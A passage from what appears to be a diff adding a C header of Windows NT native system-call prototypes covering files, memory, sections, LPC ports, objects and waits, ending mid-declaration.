+NTSTATUS +NTAPI +NtStartProfile ( + _In_ HANDLE ProfileHandle + ); + + +NTSTATUS +NTAPI +NtStopProfile ( + _In_ HANDLE ProfileHandle + ); + + +NTSTATUS +NTAPI +NtSetIntervalProfile ( + _In_ ULONG Interval, + _In_ KPROFILE_SOURCE Source + ); + + +NTSTATUS +NTAPI +NtQueryIntervalProfile ( + _In_ KPROFILE_SOURCE ProfileSource, + _Out_ PULONG Interval + ); + + +NTSTATUS +NTAPI +NtQueryPerformanceCounter ( + _Out_ PLARGE_INTEGER PerformanceCounter, + _Out_ OPTIONAL PLARGE_INTEGER PerformanceFrequency + ); + + +NTSTATUS +NTAPI +NtCreateKeyedEvent ( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags + ); + + +NTSTATUS +NTAPI +NtOpenKeyedEvent ( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtReleaseKeyedEvent ( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForKeyedEvent ( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtQuerySystemInformation ( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Out_ OPTIONAL PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetSystemInformation ( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_ OPTIONAL PVOID SystemInformation, + _In_ ULONG SystemInformationLength + ); + + +NTSTATUS +NTAPI +NtSystemDebugControl ( + _In_ SYSDBG_COMMAND Command, + _In_ OPTIONAL PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_ OPTIONAL PVOID OutputBuffer, + _In_ ULONG OutputBufferLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtRaiseHardError ( + _In_ NTSTATUS ErrorStatus, + _In_ ULONG NumberOfParameters, + _In_ ULONG UnicodeStringParameterMask, + _In_ OPTIONAL PULONG_PTR Parameters, + _In_ ULONG ValidResponseOptions, + _Out_ PULONG Response + ); + + +NTSTATUS +NTAPI +NtQueryDefaultLocale ( + _In_ BOOLEAN UserProfile, + _Out_ PLCID DefaultLocaleId + ); + + +NTSTATUS +NTAPI +NtSetDefaultLocale ( + _In_ BOOLEAN UserProfile, + _In_ LCID DefaultLocaleId + ); + + +NTSTATUS +NTAPI +NtQueryInstallUILanguage ( + _Out_ LANGID *InstallUILanguageId + ); + + +NTSTATUS +NTAPI +NtQueryDefaultUILanguage ( + _Out_ LANGID *DefaultUILanguageId + ); + + +NTSTATUS +NTAPI +NtSetDefaultUILanguage ( + _In_ LANGID DefaultUILanguageId + ); + + +NTSTATUS +NTAPI +NtSetDefaultHardErrorPort( + _In_ HANDLE DefaultHardErrorPort + ); + + +NTSTATUS +NTAPI +NtShutdownSystem ( + _In_ SHUTDOWN_ACTION Action + ); + + +NTSTATUS +NTAPI +NtDisplayString ( + _In_ PUNICODE_STRING String + ); + + +NTSTATUS +NTAPI +NtAddAtom ( + _In_ OPTIONAL PWSTR AtomName, + _In_ ULONG Length, + _Out_ OPTIONAL PRTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtFindAtom ( + _In_ OPTIONAL PWSTR AtomName, + _In_ ULONG Length, + _Out_ OPTIONAL PRTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtDeleteAtom ( + _In_ RTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtQueryInformationAtom( + _In_ RTL_ATOM Atom, + _In_ ATOM_INFORMATION_CLASS AtomInformationClass, + _Out_ OPTIONAL PVOID AtomInformation, + _In_ ULONG AtomInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCancelIoFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSTATUS +NTAPI +NtCreateNamedPipeFile ( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ ULONG NamedPipeType, + _In_ ULONG ReadMode, + _In_ ULONG CompletionMode, + _In_ ULONG MaximumInstances, + _In_ ULONG InboundQuota, + _In_ ULONG OutboundQuota, + _In_ OPTIONAL PLARGE_INTEGER DefaultTimeout + ); + + +NTSTATUS +NTAPI +NtCreateMailslotFile ( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout + ); + + +NTSTATUS +NTAPI +NtDeleteFile ( + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtFlushBuffersFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree + ); + + +NTSTATUS +NTAPI +NtQueryAttributesFile ( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_BASIC_INFORMATION FileInformation + ); + + +NTSTATUS +NTAPI +NtQueryFullAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + + +NTSTATUS +NTAPI +NtQueryEaFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ PVOID EaList, + _In_ ULONG EaListLength, + _In_ OPTIONAL PULONG EaIndex OPTIONAL, + _In_ BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtCreateFile ( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ OPTIONAL PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ OPTIONAL PVOID EaBuffer, + _In_ ULONG EaLength + ); + + +NTSTATUS +NTAPI +NtDeviceIoControlFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_ OPTIONAL PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_ OPTIONAL PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtFsControlFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_ OPTIONAL PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_ OPTIONAL PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtLockFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key, + _In_ BOOLEAN FailImmediately, + _In_ BOOLEAN ExclusiveLock + ); + + +NTSTATUS +NTAPI +NtOpenFile ( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions + ); + + +NTSTATUS +NTAPI +NtQueryDirectoryFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_ OPTIONAL PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtQueryInformationFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSTATUS +NTAPI +NtQueryQuotaInformationFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ OPTIONAL PVOID SidList, + _In_ ULONG SidListLength, + _In_ OPTIONAL PSID StartSid, + _In_ BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtQueryVolumeInformationFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSTATUS +NTAPI +NtReadFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID Buffer, + _In_ ULONG Length, + _In_ OPTIONAL PLARGE_INTEGER ByteOffset, + _In_ OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtSetInformationFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSTATUS +NTAPI +NtSetQuotaInformationFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID Buffer, + _In_ ULONG Length + ); + + +NTSTATUS +NTAPI +NtSetVolumeInformationFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSTATUS +NTAPI +NtWriteFile ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID Buffer, + _In_ ULONG Length, + _In_ OPTIONAL PLARGE_INTEGER ByteOffset, + _In_ OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtUnlockFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key + ); + + +NTSTATUS +NTAPI +NtReadFileScatter ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_ OPTIONAL PLARGE_INTEGER ByteOffset, + _In_ OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtSetEaFile ( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID Buffer, + _In_ ULONG Length + ); + + +NTSTATUS +NTAPI +NtWriteFileGather ( + _In_ HANDLE FileHandle, + _In_ OPTIONAL HANDLE Event, + _In_ OPTIONAL PIO_APC_ROUTINE ApcRoutine, + _In_ OPTIONAL PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_ OPTIONAL PLARGE_INTEGER ByteOffset, + _In_ OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtLoadDriver ( + _In_ PUNICODE_STRING DriverServiceName + ); + + +NTSTATUS +NTAPI +NtUnloadDriver ( + _In_ PUNICODE_STRING DriverServiceName + ); + + +NTSTATUS +NTAPI +NtCreateIoCompletion ( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Count OPTIONAL + ); + + +NTSTATUS +NTAPI +NtOpenIoCompletion ( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryIoCompletion ( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_ PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetIoCompletion ( + _In_ HANDLE IoCompletionHandle, + _In_ PVOID KeyContext, + _In_ OPTIONAL PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation + ); + + +NTSTATUS +NTAPI +NtRemoveIoCompletion ( + _In_ HANDLE IoCompletionHandle, + _Out_ PVOID *KeyContext, + _Out_ PVOID *ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtCallbackReturn ( + _In_ PVOID OutputBuffer OPTIONAL, + _In_ ULONG OutputLength, + _In_ NTSTATUS Status + ); + + +NTSTATUS +NTAPI +NtQueryDebugFilterState ( + _In_ ULONG ComponentId, + _In_ ULONG Level + ); + + +NTSTATUS +NTAPI +NtSetDebugFilterState ( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State + ); + + +NTSTATUS +NTAPI +NtYieldExecution ( + VOID + ); + + +NTSTATUS +NTAPI +NtCreatePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_ OPTIONAL ULONG MaxPoolUsage + ); + + +NTSTATUS +NTAPI +NtCreateWaitablePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_ OPTIONAL ULONG MaxPoolUsage + ); + + +NTSTATUS +NTAPI +NtConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _In_ _Out_ OPTIONAL PPORT_VIEW ClientView, + _In_ _Out_ OPTIONAL PREMOTE_PORT_VIEW ServerView, + _Out_ OPTIONAL PULONG MaxMessageLength, + _In_ _Out_ OPTIONAL PVOID ConnectionInformation, + _In_ _Out_ OPTIONAL PULONG ConnectionInformationLength + ); + + +NTSTATUS +NTAPI +NtSecureConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _In_ _Out_ OPTIONAL PPORT_VIEW ClientView, + _In_ OPTIONAL PSID RequiredServerSid, + _In_ _Out_ OPTIONAL PREMOTE_PORT_VIEW ServerView, + _Out_ OPTIONAL PULONG MaxMessageLength, + _In_ _Out_ OPTIONAL PVOID ConnectionInformation, + _In_ _Out_ OPTIONAL PULONG ConnectionInformationLength + ); + + +NTSTATUS +NTAPI +NtListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest + ); + + +NTSTATUS +NTAPI +NtAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_ OPTIONAL PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _In_ _Out_ OPTIONAL PPORT_VIEW ServerView, + _Out_ OPTIONAL PREMOTE_PORT_VIEW ClientView + ); + + +NTSTATUS +NTAPI +NtCompleteConnectPort( + _In_ HANDLE PortHandle + ); + + +NTSTATUS +NTAPI +NtRequestPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage + ); + + +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _In_ _Out_ PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_ OPTIONAL PVOID *PortContext , + _In_ OPTIONAL PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReceivePortEx( + _In_ HANDLE PortHandle, + _Out_ OPTIONAL PVOID *PortContext, + _In_ OPTIONAL PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message + ); + + +NTSTATUS +NTAPI +NtReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_ PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_ OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +NtWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_ PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_ OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + +NTSTATUS +NTAPI +NtQueryInformationPort( + _In_ HANDLE PortHandle, + _In_ PORT_INFORMATION_CLASS PortInformationClass, + _Out_ PVOID PortInformation, + _In_ ULONG Length, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCreateSection ( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ OPTIONAL PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_ OPTIONAL HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtOpenSection ( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtMapViewOfSection ( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _In_ _Out_ OPTIONAL PLARGE_INTEGER SectionOffset, + _In_ _Out_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect + ); + + +NTSTATUS +NTAPI +NtUnmapViewOfSection ( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress + ); + + +NTSTATUS +NTAPI +NtExtendSection ( + _In_ HANDLE SectionHandle, + _In_ _Out_ PLARGE_INTEGER NewSectionSize + ); + + +NTSTATUS +NTAPI +NtAreMappedFilesTheSame ( + _In_ PVOID File1MappedAsAnImage, + _In_ PVOID File2MappedAsFile + ); + + +NTSTATUS +NTAPI +NtAllocateVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ _Out_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect + ); + + +NTSTATUS +NTAPI +NtFreeVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ _Out_ PSIZE_T RegionSize, + _In_ ULONG FreeType + ); + + +NTSTATUS +NTAPI +NtReadVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ OPTIONAL PVOID BaseAddress, + _Out_ PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_ OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +NtWriteVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ OPTIONAL PVOID BaseAddress, + _In_ CONST VOID *Buffer, + _In_ SIZE_T BufferSize, + _Out_ OPTIONAL PSIZE_T NumberOfBytesWritten + ); + +NTSTATUS NtSetInformationVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, + _In_ ULONG_PTR NumberOfEntries, + _In_ PMEMORY_RANGE_ENTRY VirtualAddresses, + _In_ PVOID VmInformation, + _In_ ULONG VmInformationLength +); + + +NTSTATUS +NTAPI +NtFlushVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ _Out_ PSIZE_T RegionSize, + _Out_ PIO_STATUS_BLOCK IoStatus + ); + + +NTSTATUS +NTAPI +NtLockVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ _Out_ PSIZE_T RegionSize, + _In_ ULONG MapType + ); + + +NTSTATUS +NTAPI +NtUnlockVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ _Out_ PSIZE_T RegionSize, + _In_ ULONG MapType + ); + + +NTSTATUS +NTAPI +NtProtectVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PVOID *BaseAddress, + _In_ _Out_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect + ); + + +NTSTATUS +NTAPI +NtQueryVirtualMemory ( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_ PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_ OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +NtQuerySection ( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_ PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_ OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +NtMapUserPhysicalPages ( + _In_ PVOID VirtualAddress, + _In_ ULONG_PTR NumberOfPages, + _In_ OPTIONAL PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtMapUserPhysicalPagesScatter ( + _In_ PVOID *VirtualAddresses, + _In_ ULONG_PTR NumberOfPages, + _In_ OPTIONAL PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtAllocateUserPhysicalPages ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PULONG_PTR NumberOfPages, + _Out_ PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtFreeUserPhysicalPages ( + _In_ HANDLE ProcessHandle, + _In_ _Out_ PULONG_PTR NumberOfPages, + _In_ PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtGetWriteWatch ( + _In_ HANDLE ProcessHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize, + _Out_ PVOID *UserAddressArray, + _In_ _Out_ PULONG_PTR EntriesInUserAddressArray, + _Out_ PULONG Granularity + ); + + +NTSTATUS +NTAPI +NtResetWriteWatch ( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize + ); + + +NTSTATUS +NTAPI +NtCreatePagingFile ( + _In_ PUNICODE_STRING PageFileName, + _In_ PLARGE_INTEGER MinimumSize, + _In_ PLARGE_INTEGER MaximumSize, + _In_ ULONG Priority + ); + + +NTSTATUS +NTAPI +NtFlushInstructionCache ( + _In_ HANDLE ProcessHandle, + _In_ OPTIONAL PVOID BaseAddress, + _In_ SIZE_T Length + ); + + +NTSTATUS +NTAPI +NtFlushWriteBuffer ( + VOID + ); + + +NTSTATUS +NTAPI +NtQueryObject ( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_ PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_ PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationObject ( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _In_ PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength + ); + + +NTSTATUS +NTAPI +NtDuplicateObject ( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_ OPTIONAL HANDLE TargetProcessHandle, + _Out_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options + ); + + +NTSTATUS +NTAPI +NtMakeTemporaryObject ( + _In_ HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtMakePermanentObject ( + _In_ HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtSignalAndWaitForSingleObject ( + _In_ HANDLE SignalHandle, + _In_ HANDLE WaitHandle, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForSingleObject ( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForMultipleObjects ( + _In_ ULONG Count, + _In_ HANDLE Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForMultipleObjects32 ( + _In_ ULONG Count, + _In_ LONG Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtSetSecurityObject ( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + +NTSTATUS +NTAPI +NtQuerySecurityObject ( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded + ); + + +NTSTATUS +NTAPI +NtClose ( + _In_ HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtCreateDirectoryObject ( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenDirectoryObject ( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryDirectoryObject ( + _In_ HANDLE DirectoryHandle, + _Out_ PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _In_ _Out_ PULONG Context, + _Out_ PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCreateSymbolicLinkObject ( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING LinkTarget + ); + + +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject ( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ 